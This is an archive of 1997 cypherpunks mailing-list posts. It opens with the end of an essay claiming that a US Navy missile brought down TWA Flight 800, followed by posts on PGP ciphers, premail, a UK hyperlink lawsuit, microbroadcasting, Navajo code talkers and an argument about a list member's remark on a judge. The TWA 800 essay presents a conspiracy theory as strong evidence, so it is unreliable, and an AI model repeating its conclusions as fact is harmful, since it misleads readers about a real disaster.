>         of the TWA 800 accident. [11] The Navy also
> 
>         admitted that they had three submarines off
> 
>         Long Island in the ocean below TWA 800. [11]
> 
>         We know that there were at least 8 military
> 
>         assets in the area of the TWA 800 accident:
> 
>         1. NAVY: The ALBUQUERQUE, attack sub
> 
>         2. NAVY: The TREPANG, attack sub
> 
>         3. NAVY: The WYOMING, ICBM sub
> 
>         4. NAVY: P-3 Orion aircraft
> 
>         5. NAVY: The NORMANDY, missile cruiser
> 
>         6. USCG: The ADAK, CG patrol boat
> 
>         7. NYANG: HC-130 aircraft
> 
>         8. NYANG: HH-60 helicopter
> 
>         Every asset except the Adak has either
> 
>         (a) been denied to exist or (b) had its
> 
>         reported location at the time of the TWA
> 
>         800 accident changed by the military. For
> 
>         example, while shuffling around crash-time
> 
>         locations for months, the military placed
> 
>         4 of its assets in 11 locations:
> 
>         The Navy-missile-cruiser Normandy was:
> 
>         1. 180 miles away [12]
> 
>         2. 185 miles away [13]
> 
>         3. over 200 miles away [11]
> 
>         The Navy P-3 Orion aircraft was:
> 
>         1. 15 miles to the south [14]
> 
>         2. about 1 mile southwest [15]
> 
>         3. 3,700 feet below TWA 800 [16]
> 
>         4. 7,000 feet above TWA 800 [15]
> 
>         The ANG C-130 aircraft was:
> 
>         1. 10 miles offshore [17]
> 
>         2. flying along the coast [18]
> 
>         The ANG HH-60 helicopter was:
> 
>         1. 10 miles offshore at 3,000 feet
> 
>            doing search and rescue practice.[1]
> 
>         2. 3 miles inland at 100 feet
> 
>            doing practice landings. [19]
> 
>         Are we to believe that with as many as
> 
>         nine military radar systems blanketing
> 
>         the area [20] it would take months for
> 
>         the military to figure out where it was?
> 
>         The pattern of location shifting has
> 
>         been to move military assets further
> 
>         away from the accident than initially
> 
>         reported or further than was eventually
> 
>         discovered, as in the case of the P-3,
> 
>         which tapes proved was more than 10x
> 
>         closer to TWA 800 than once claimed.
> 
>         If the denial of evidenced proximity to
> 
>         the crime scene is evidence of culpability,
> 
>         then, since multiple instances of military
> 
>         proximity to TWA 800 have been denied by
> 
>         the military, the evidence that the mili-
> 
>         tary is culpable in the downing of TWA
> 
>         800 is significant.  The fact that not
> 
>         only assets but military exercises were
> 
>         denied, makes this evidence compelling.
> 
>         CONNECTING THE DOTS
> 
>         TWA 800 researcher Tom Shoemaker recently
> 
>         discovered documents showing that both the
> 
>         New York Air National Guard and the Navy
> 
>         were engaged in a large-scale exercise
> 
>         called "Global Yankee '96" taking place
> 
>         off shore between July 16 and 26, 1996.[20]
> 
>         Shoemaker's findings confirm the claim of
> 
>         TWA 800 researcher James Sanders that the
> 
>         Navy and the ANG were working together
> 
>         at the time of the accident. [21]
> 
>         While the fact that ANG pilots reported
> 
>         what they saw would seem to contradict
> 
>         the possibility of their culpability, it
> 
>         is clear that the ANG is not being forth-
> 
>         right about the locations of ANG assets
> 
>         at crash time.[18,URL] It should also be
> 
>         noted that ANG co-pilot Baur never said
> 
>         what he saw when he had the chance to at
> 
>         a press conference after the crash; that
> 
>         Major Meyer suggested first and foremost
> 
>         that TWA 800 was hit by a meteorite; and
> 
>         that Stratemeier suggested it was hit by
> 
>         a terrorist-style missile, then suddenly
> 
>         claimed he saw nothing. If the Navy and/
> 
>         or the ANG are guilty, then the ANG pilot
> 
>         responses would be predictable misleads.
> 
>         One year after the fiery demise of TWA
> 
>         800, the  Navy-missile theory not only
> 
>         remains superior to all other TWA 800
> 
>         theories, but is stronger than ever.
> 
> _____________________________________________________________
> 
> REFERENCES___________________________________________________
> 
> [1] AVIATION WEEK & SPACE TECHNOLOGY: Terrorist Fears Deepen
> 
>     With 747's Destruction. E.Phillips, P.Mann (7/22/96) p.20.
> 
> [2] AVIATION WEEK & SPACE TECHNOLOGY: ANG Eyewitnesses Reject
> 
>     Missile Theory. David Fulghum, July 29, 1996, page 32.
> 
> [3] AVIATION WEEK & SPACE TECHNOLOGY: ANG Pilot: Jet Hit
> 
>     by Object. By David Fulghum, March 10, 1997.
> 
> [4] New York Air National Guard, 106th Rescue
> 
>     Wing press conference, July 18, 1996.
> 
> [5] ELEFTHEROTYPIA. Greece, August 23, 1996.
> 
>     Article by Aris Hatzigeorgiou. http://www.enet.gr
> 
> [6] Report of TWA 800 witness Sven Faret:
> 
>     http://www.webexpert.net/rosedale/twacasefile/aviator.html
> 
> [7] http://www.erols.com/igoddard/sven.htm
> 
> [8] CNN: TWA 800 witness Naneen Levine illustrates missile
> 
>     trajectory: http://www.erols.com/igoddard/levine.htm
> 
> [9] Debris: http://www.erols.com/igoddard/crash.htm
> 
> [10] Department of Defense press conference, July 23, 1996:
> 
> http://www.dtic.mil/defenselink/news/Jul96/t072396_t0723asd.html
> 
> [11] NEWSDAY: TWA Probe: Submarines Off LI. By R.E. Kessler,
> 
>      03/22/97. http://www.newsday.com/jet/cras0322.htm
> 
> [12] ASSOCIATED PRESS: Missile Attack a Favorite
> 
>      of Conspiracy Theorists. 09/03/96.
> 
> [13] ASSOCIATED PRESS: Document Says Navy Hit
> 
>      TWA Plane. By Jocelyn Noveck, 11/08/96.
> 
> [14] NEWSDAY: The Story So Far. By Craig Gordon, Lima Pleven,
> 
>      08/20/96. http://www.newsday.com/jet/jemyst20.htm
> 
> [15] ASSOCIATED PRESS: FBI Says Mystery Blip on Radar Tape
> 
>      is Unarmed Navy Reconnaissance Plane. 03/21/97.
> 
> [16] THE NEW AMERICAN: What Really Happened to TWA 800? By W.
> 
>      Jasper, 10/14/96. http://www.jbs.org/vo12no21.htm#TWA800
> 
> [17] NYANG says that the C-130 was in the area JAWS:
> 
> http://www.infoshop.com/106rescue/html/twa800-pres/sld002.html
> 
>      NYANG rep. James Finkle says JAWS is 10 miles offshore:
> 
>      http://www.webexpert.net/rosedale/twacasefile/jolly14.html
> 
> [18] NYANG rep. James Finkle says the C-130 was not in JAWS:
> 
>      http://www.webexpert.net/rosedale/twacasefile/jolly14.html
> 
> [19] In [1] the HH-60 is reported to have been offshore with the
> 
>      C-130, which the ANG says was in JAWS ten miles offshore,
> 
>      but then suddenly the HH-60 was moved over Gabreski Airport:
> 
>      http://www.webexpert.net/rosedale/twacasefile/jolly14.html
> 
>      I called AVIATION WEEK and was told that it was an NYANG
> 
>      representative who told them that the HH-60 was offshore.
> 
>      I was told that the NYANG rep. read the off shore 3,000
> 
>      ft altitude location straight from Major Meyer's report.
> 
> [20] http://www.webexpert.net/rosedale/twacasefile/newsfour.html
> 
>      Visit these pages and copy their contents:
> 
>      http://www.ang.af.mil/angrc-xo/xoom/aargy96.htm
> 
>      http://www.ang.af.mil/angrc-xo/glbynk/partcpnt.htm
> 
>      http://www.rl.af.mil/Lab/C3/current-events/gy_rap1.jpg
> 
> [21] The Downing of TWA Flight 800. By James Sanders, 1997.
> 
> <smaller>
> 
> </smaller>A pack of "unreferenced rumors"? HA! The media's presentation
> 
> of Ian Goddard's TWA 800 inquiry is a Big Lie in full display.
> 
> _____________________________________________
> 
> Ian Goddard <<igoddard@netkonnect.net>
> 
> - --
> Ultimately, a nation of people are governed
> as they wish to be governed. - Jon Dougherty






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Nov 1997 14:47:13 +0800
To: cypherpunks@www.video-collage.com
Subject: Re: getting premail
In-Reply-To: <199711140511.XAA10505@manifold.algebra.com>
Message-ID: <3.0.3.32.19971113223820.0070f958@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:11 PM 11/13/1997 -0600, Igor Chudov @ home wrote:
>Anyone know of a WORKING site where I can download premail from?
>kiwi...berkeley is refusing connections.

http://atropos.c2.net/~raph/premail.html

Also look at www.publius.net

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 13:37:28 +0800
To: cypherpunks@toad.com
Subject: Yeah, but you can do anything with statistics... / WAS: Troublemaking Bleeding Heart Liberals
Message-ID: <346BD7E2.2FC3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In July, a group of lawyers and state legislators petitioned the
Illinois Supreme Court to halt all executions immediately and
appoint a commission to study why, in the 20 years since the state
reinstituted the death penalty, more death row convicts have been
subsequently been found innocent and freed (9) than have been
executed (8). 

~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no audio. 
 Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 14 Nov 1997 14:58:18 +0800
To: cypherpunks@cyberpass.net
Subject: Tim May is in good company
Message-ID: <3.0.3.32.19971113224810.03246fbc@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713750.multipart/signed"

--Boundary..3986.1071713750.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I think the following quotes speak for themselves:

	"You need only reflect that one of the best ways to get yourself a
reputation as a dangerous citizen these days is to go around repeating the
very phrases which our founding fathers used in their struggle for
independence."
	Charles M. Beard

	"They tell us we are weak--unable to cope with so formidable an adversary.
But when shall we be stronger? Will it be next week, or the next year? Will
it be when we are totally disarmed? Shall we acquire the means of effectual
resistance by lying supinely on out backs and hugging the delusive phantom
of hope, until out enemies have bound us hand and foot?
	"We are not weak if we make a proper use of the means which the God of
nature has placed in out power. Millions of people armed in the hold cause
of Liberty, and in such a country as that which we possess, are invincible.
Besides, we shall not fight our battles alone. There is a just God who
presides over the destinies of nations, who will raise up friends to fight
our battles for us. The battle, is not to the strong alone; it is to the
vigilant, the active, the brave.
	"Many cry 'Peace, peace'--but there is no peace. The war is actually
begun! Why stand we here idle? Is life so dear, or peace so sweet, as to be
purchased at the price of chains and slavery? Forbid it Almighty God! I
know not what course others may take; but as for me, give me Liberty or
give me death!"
	Patrick Henry

	"Before a standing army can rule, the people must be disarmed; as they are
in almost every Kingdom of Europe. The supreme power in America cannot
enforce unjust laws by the sword; because the whole body of the people are
armed..."
	Noah Webster


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713750.multipart/signed
Content-Type: application/octet-stream; name="pgp00007.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00007.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5HdjBkOEpGMGtYcXB3
M01FUUpwNVFDZmZINGlDRjlBS0JRYnBZbDlXb3VyblN2YmljSUFuUkFPClcz
OEpqWXFHTkNSK083VFJERUdWaEhWTgo9RUhFWAotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713750.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 13:40:07 +0800
To: cypherpunks@toad.com
Subject: A Leaner's as good as a Ringer! / WAS: Asleep on Crime
Message-ID: <346BD88C.7A81@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In June, the Court of Appeal in London, England, turned down
Thomas Moringiello's challenge to his fraud conviction and 18-
month prison sentence.  Although Moringiello was able to prove
that Judge Richard Hamilton had slept through portions of the
testimony at trial the year before, the higher court said Moringiello
was not harmed because Hamilton still was able to give a summary
of the case for the jury's deliberation. 

~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no audio. 
 Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Nov 1997 16:11:14 +0800
To: cypherpunks@toad.com
Subject: Hyperlinks case settles at door of court
Message-ID: <3.0.3.32.19971113225202.0071ece0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>The Shetland Times case has been settled - links will be permitted with
>certain conditions
>
>See http://www.shetland-news.co.uk/headline/97nov/settled/settled.html

And it was even settled reasonably, and without setting new bad UK case law.

(For those who don't remember the case, the Shetland News and 
Shetland Times are Scottish newspapers with web pages.  
The News was linking from its page to some of the Times's stories 
without pointing out that the stories were in their competitor's paper,
and the Times sued them.  In the settlement they agree that the
News may link to the Times's pages, and that they'll only do so
with visible indications that they're doing so.)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Georg Josef Uphoff <Georg.Uphoff@uni-konstanz.de>
Date: Fri, 14 Nov 1997 06:24:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Beta.32.19971113230903.00dd53b0@popserver.uni-konstanz.de>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 14 Nov 1997 13:19:59 +0800
To: cypherpunks@www.video-collage.com
Subject: getting premail
Message-ID: <199711140511.XAA10505@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Anyone know of a WORKING site where I can download premail from?
kiwi...berkeley is refusing connections.
thanxZ
ignoramus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 14 Nov 1997 13:22:44 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: PGP 5.5 Conventional Encryption: Which Algorithm?
In-Reply-To: <199711140450.FAA28065@basement.replay.com>
Message-ID: <199711140514.AAA28608@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711140450.FAA28065@basement.replay.com>, on 11/14/97 
   at 05:50 AM, nobody@REPLAY.COM (Anonymous) said:

>Does anyone know what algorithm PGP 5.5 uses for conventional 
>encryption? Also is PGP 5.5 capable of generating RSA keys of 4096 bits?

Well PGP 5.x makes use of 3 different symetric cyphers (CAST5, 3DES, &
IDEA) with CAST5 being the default. I haven't used the "conventional
encryption" (I am assuming that you are referring to file encryption) but
I would imagine that it does the same as the message encryption and
defaults to CAST5.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGvd5o9Co1n+aLhhAQHoLgQAkUcOqITnpTidHs5iI0zkCb18pXzH+rjW
nR6P8JLpMqUKQkkrYrnJt2ZNz9rwFYeWUu/anS/RmdhY6T7q6PT9cHdxHeYIHL2z
TiZBXPyt5t454c39UeG2TtTpPjHfWtXPuwxsEtx26hND4ThqPj2A7cBp6PpnV86N
2H7/BQ9Qp/Y=
=OLgN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 13:36:36 +0800
To: remailer@REPLAY.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v04002703b0914a6c47bb@[139.167.130.248]>
Message-ID: <346BDEBB.2977@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

Robert Hettinga wrote:
> > At any rate, the upshot of his argument was that there are often
> > attempts to ensure freedom, but in reality it can only be assured
> > through its exercise.
 
> If you lived here you'd be home now? Please.

Don't you feel more like you do now than you did earlier?

Footfault





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 14 Nov 1997 16:02:50 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: (Fwd) Victory For Microbroadcasting!!!!
Message-ID: <199711140720.XAA17142@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Wow.  I'm glad the monger himself liked this little tidbit.  I 
thought it was relevant.

On or About 14 Nov 97 at 0:46, TruthMonger wrote:

> > At 11:45 AM -0700 11/13/1997, Ross Wright wrote:
> > >
> > >ANOTHER VICTORY FOR FREE RADIO BERKELEY & MICROPOWER BROADCASTING
> 
> Great lead for tracking parallels to the gubmint's plans for the
> Net, as well.
> 
> Thanks

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://ross.adnetsol.com
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 12:45:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711132215.QAA07760@dfw-ix2.ix.netcom.com>
Message-ID: <v04002703b0914a6c47bb@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 5:13 pm -0500 on 11/12/97, Monty writes:


> Physician heal thyself!  Much of your discussion consists of ad
> hominem attacks with little content such as the paragraph quoted
> above.

I sure if you actually read what I wrote, you actually might find one or two,
and when you do, I'm sure you'll find while Tim far exeeded me in quantity,
that *my* ad hominae were *much* better. So? Are you flowcharting the
discussion as well? :-). (Though, I think if you did, you'd find that I'm
hammering his ass there, as well, which is probably why there's a little bit
more foam at the corner of his mouth than usual at the moment... Oops.
*Another* ad hominem. So sorry.)

> The Foucault discussion quoted is worth reading.  Unfortunately, it's
> been a long time and I cannot provide a reference.

Frankly, I find Foucault tiresome. Self-referent relativism is always
tiresome. Politically correct self-referent relativism is the most tiresome
kind.

> At any rate, the upshot of his argument was that there are often
> attempts to ensure freedom, but in reality it can only be assured
> through its exercise.

If you lived here you'd be home now? Please.

> He gave the example of a building in France which was designed to make
> people feel free.  Instead of winding little corridors and small rooms
> where people would be locked away, it had a large open courtyard and
> it was designed so that when you entered the building, everybody could
> see you and you could see them.
>
> Foucault argued that in the context of people who are free, this
> building would have the intended effect.  In the context of a fearful
> and oppressive society, the effect would be quite the opposite.
> Everybody would feel that they were being watched all the time.

And the point is, as it almost always is with Foucault, that meaning is a word
game entirely dictated by culture, and no culture is better than any other,
and, so, like I said above, "If you lived here, you'd be home now". The
effects of architecture on people is pretty much a fact, as I expect that any
prisoner of Auschwitz ("Arbeit macht frei"?) would tell you. Unless, of
course, you've seen the pictures of SS men herding prisoners using machine
guns with empty chambers and the safties on. That, however, is more a question
of ignorance than anything else, I'd say. Ironic, I suppose, coming from me,
who wouldn't know whether a gun had a round in the chamber, either...

> If Tim believes that a judge has committed a capital crime, I want to
> hear about it.

Right. The judge made a decision that Tim thinks the judge should die for.

My point is not the fact of whether the judge committed an "executable"
offense, or didn't. It was that Tim made a thinly veiled threat. To wit, Tim
implied that the Judge should be executed for his court decision. I'm saying
that guys with associates' degrees in "criminal justice" would love any reason
to make Tim a new wife of one of their permanent jail residents after a, um,
crack, like that, and Tim, more to the um, point, seems to, um, up the ante,
by sauntering down to the the jailhouse and pissing on the guard's shoes.

Metaphorically, of course. :-).


> If Tim and others fail to exercise their right to say
> what they believe, then it is likely those rights will be suspended in
> due time.

Like I said before, it makes sense, but not because Foucault said it. Broken
clocks, and all that. Besides, Monty, I hate appeals to authority almost as
much as I hate ad honminae. I mean, Tim appeals to authority all the time, so
why should I? ;-). (Double score, for those of you who are keeping count :-))


> It seems to me that Tim said "The judge in the Paladin case committed
> a capital crime" and not "The judge in the Paladin case committed a
> capital crime and should be gunned down in the streets like a dog."

Frankly, I believe that the two sentences above are exactly the same thing,
and you're making a false difference between them. I'll grant you that Tim
said what he did say on this list, however, and that what he really meant at
the time, only he'll ever know, but that it was pretty apparently a wish (if
not a threat, if you want to pull semantic hairs until one bleeds) that the
judge be assassinated, because a judge can't be killed, legally, for *any*
decision he makes. I expect that gunning the judge down in the street like a
dog would fit Tim's bill quite nicely.

And, again, Tim's simply wishing it so in public might make him elligible for
the jailhouse dating game, if not that hilltop fandango I mentioned earlier.

> Tim is a good writer.  If he meant the latter I am sure he would have
> written the latter.  If anything, the term "capital crime" suggests a
> legal proceeding.

I'm quite certain, that since there's no legal way in this country to execute
a judge for making *any* decision, that Tim's "capital crime" is a thinly
vield reference to street justice, and nothing less.

> Personally, I don't consider violation of oath of office a capital
> crime.  But, the judge should be fired.  He clearly isn't taking the
> Constitution very seriously.

Not the point. The point is Tim's implied threat of violence to a sitting
judge.


> >Yes. Fine. Tim has courage. God bless him. Hope he enjoys his
> >firefight.
>
> I don't understand why you keep insulting Tim.  Your first post was
> insulting and comments like these are likewise insulting.

Me? Insult Tim? I meant everything I said, there, and, in my first post, I
meant it without any, um, malice aforethought. Tim is the one who seems to
take the facts so personally. And, if you haven't noticed, I keep repeating
the same point, though, Monty, you still don't seem to get it yourself: Tim
keeps predicting the end of the country as we know it, in some kind of violent
cataclysm, and, as if to precipitate that, he keeps saying outrageous things
in an apparent attempt to piss off law "enforcement" people, particularly the
ones with all the surplus military hardware.

Whether they listen to him, or not, is immaterial, though it may become
material if he keeps threatening judges with "capital punishment" for making
(admittedly stupid, if not scary) judicial rulings he doesn't like.

Those, Monty, are the facts, and they're pretty much indisputable.

And, Monty, here's another fact: the world isn't going to end on Thanksgiving
Day, much less at the beginning of the millenium. Armed storm troopers are
probably *not* going to decend on the denizens of this list and haul them off
to newly built gulags in the Rockies somewhere, or whatever the current
fantasy of the moment is.

It'll be the same old shit, on a different day. Though, maybe, the cost of
moving money will be a little lower from one day to the next. :-).

> The book I am reading is called "The Aurora: A Democratic-Republican
> Returns" by Richard N. Rosenfeld.

Okay. Here's where I cop to bad craziness. It's now time for me to fess up and
get my butt hammered like a gentleman. :-).

> >Right. And then Adams passed the Alien and Sedition laws. And then
> >the Supreme court took him out. Game over.
>
> We must be reading different books.

Maybe I was reading the Cliff Notes version. :-).

> After the editor of "The Aurora" was publicly beaten by Federal
> troops, citizens of Philadelphia formed an armed militia and stood
> guard outside the offices of the newspaper.  That's why it wasn't
> suppressed.

Well, to salvage what's left of my tattered reputation on this, :-), at least
I can take solice in what I said about 150 years of prior democracy being more
of a factor than legal fiat...

>  Jefferson's reply (page
> 902):
> > I discharged every person under punishment or prosecution under the
> > Sedition law, because I considered and now consider that law to be a
> > nullity as absolute and as palpable as if Congress had ordered us to
> > fall down and worship a golden image... [The discharge] was
> > accordingly done in every instance without asking what the offenders
> > had done or against whom they had offended but whether the pains
> > they were suffering were inflicted under the pretended sedition law.
> > It was certainly possible that my motives... might have been to
> > protect, encourage, and reward slander; but they may also have
> > been... to protect the Constitution violated by an unauthorized act
> > of Congress.  Which of these were my motives must be decided by a
> > regard to the general tenor of my life.  On this I am not afraid to
> > appeal to the nation at large, to posterity, and still less to that
> > Being who sees himself our motives, who will judge us from his own
> > knowledge of them, and not on the testimony of Porcupine or Fenno.

Sounds an awful lot like the guy who wrote the Bill of Rights to me. More in a
bit.


> 1. Publius was John Jay, Alexander Hamilton, and James Madison.  Jay
> and Hamilton were leaders of the party attempting to subvert the
> Constitution.

Mostly Madison, I believe, and, oddly enough, a protoge of Jefferson at one
point.

> 2. The Federalist version of the Constitution was intended to have
> aristocratic elements - the Senate and the President.  Adams even
> suggested privately that the Senators should have life long terms and
> that Senate seats should be hereditary.

Yup. There's that aristocratic will to power, and all that. Here a magna
carta, there a magna carta, everywhere a magna carta... :-). Meanwhile
everyone who worked for a living already knew they had a democracy disguised
as a republic, whether it was written down somewhere or not.

> 3. The separation of powers failed completely during the Adams
> administration.  The Federalists had control of the Congress, the
> Executive Branch, and, I suspect, the Supreme Court.

So it seems.

> 4. The rights and freedoms of Americans were protected only by the
> fact that the voters threw the bastards out.  Something to keep in
> mind when people tell us that the voters are less trustworthy than
> career politicans.

Right. Which is the only straw of prior argument I can hold onto in this whole
deluge. :-). I should have read my Cliff Notes better. ;-).

> 6. Jefferson did not write the Bill of Rights.  He was in France at
> the time and was pleased to hear these amendments had been added to
> the Constitution.

I don't believe that's right. I believe, if you check it out, that Jefferson
sent the Bill of Rights to the Constitutional Convention from France, and that
Madison, ironically enough, had a hand in getting it passed. The Bill of
Rights and the Constitution were then ratified together as a single package on
a state by state basis. Madison and Jefferson were on friendly terms
throughout the Constitutional process.

Unless, of course, "History Your Mother Never Taught You" says otherwise. :-).

Before he left for France, Jefferson wrote what I think amounts to the
Constitution of Virginia, which includes a bill-of-rights-like section in it.
I can't remember the document's name, but it's on Jefferson's tombstone as one
of his few self-acknowleged accomplishments.

Cheers,
Bob Hettinga



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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 14 Nov 1997 06:41:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
Message-ID: <199711132225.XAA06230@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Please forward to this coward that have no balls to put his real email
>address on his emails (I using you guys as he put CC to you guys in his
>letter, but by no means does this reffer to you).

Well, you don't like anonymity. No hope scoring points there.

>Dear CRYPTO CZAR INTERNATIONAL Idiot,

Well, that was an ad hominem attack against the poster of a bit of satire.

>4) Try to keep your pathetic self away from the court room, as next time
>around you will face legal steps for alleging "fraud".

Learn to use message authentication. A company which claims to sell such
strong algorithms but doesn't employ message authentication makes one wonder.

>Maybe you really should try and develop some future encryption algorithm
>instead of mumbling with envy showing your stupidity and ignorance, But on
>the other hand you're probably not capable of - you're too narrow minded
>and busy sticking your long nose where it does not belong.

>Do us and you a favour, keep yourself in your pathetic hole and shut your
>mouth up.

Another ad hominem. You're on a roll.

>Thanks and worst regards,

No problem. Don't mention it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 14 Nov 1997 15:33:05 +0800
To: Ryan Anderson <ryan@michonline.com>
Subject: Re: (Fwd) Victory For Microbroadcasting!!!!
In-Reply-To: <v03102809b091947a167f@[208.129.55.202]>
Message-ID: <v0310280bb091aab14e81@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 13 Nov 1997, Steve Schear wrote:
>
>> Kuddos!
>
>Actually, I've got a bad feeling about this.  (cliche, but it fits)  Out
>of *all* the government agencies, the least screwed up has got to be the
>FCC.  If we're going to eliminate agencies, this isn't the place to start.

Was my "commerce clause" argument essentially the same as Stephen's?

>
>Yes, I've been an Amateur Radio op for 10 years now.  From what I've seen,
>the FCC does it's best to keep things from getting totally screwed up.
>Can't say that about some others (hmm.. any of the ones with guns, would
>the the "others")

The states are certainly ill equiped to handle the FCC's role, but ignoring the Constitution because it's inconvenient is the slippery slope we've been on since  Federal power was "illegally" expanded and the principle of judicial review was established in 1803 in the famous case of Marbury v. Madison.  Since then, any excuse the President and Congress can come up with is sufficient to create a  new agency and expanded authority.  Completely circumventing Constitutional intent.

The demise a needed Federal agency is but a small price to pay for puttling right the apple cart.  Besides, Congress can always call for an ammendment and if the people (through their state leglislature) agree re-instate FCC authority through proper means.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 15:40:43 +0800
To: cypherpunks@Algebra.COM
Subject: Navajo Code Talkers
In-Reply-To: <199711140509.GAA00261@basement.replay.com>
Message-ID: <v03102808b091a0d3e689@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:39 PM -0700 11/13/97, Ryan Anderson wrote:

>That's not as embarassing as the fact that we're running low on speakers
>of Navajo in this country now.  It would be kinda convenient to have that
>ability available again.  My gut feeling is that Navajo remains one of the
>most poorly documented languages in the world....  government research
>(funny name for it, come to think of it) into the language is probably
>quite classified....

But the basis of using the Navajo code talkers was classic "security
through obscurity." The U.S. was expecting, quite reasonably, that the
Japanese side would not have any Navajo speakers available (nor that they
Japanese would even figure out _what_ the language was).

The jig is up on using Navajo code talkers, so this particular role is now
history.

And modern crypto doesn't need this kind of code talking.

Finally, there are a couple of Navajo lexicons and dictionaries now
available, so the government has obviously not classified Navajo
scholarship...nor could it.

--Tim May

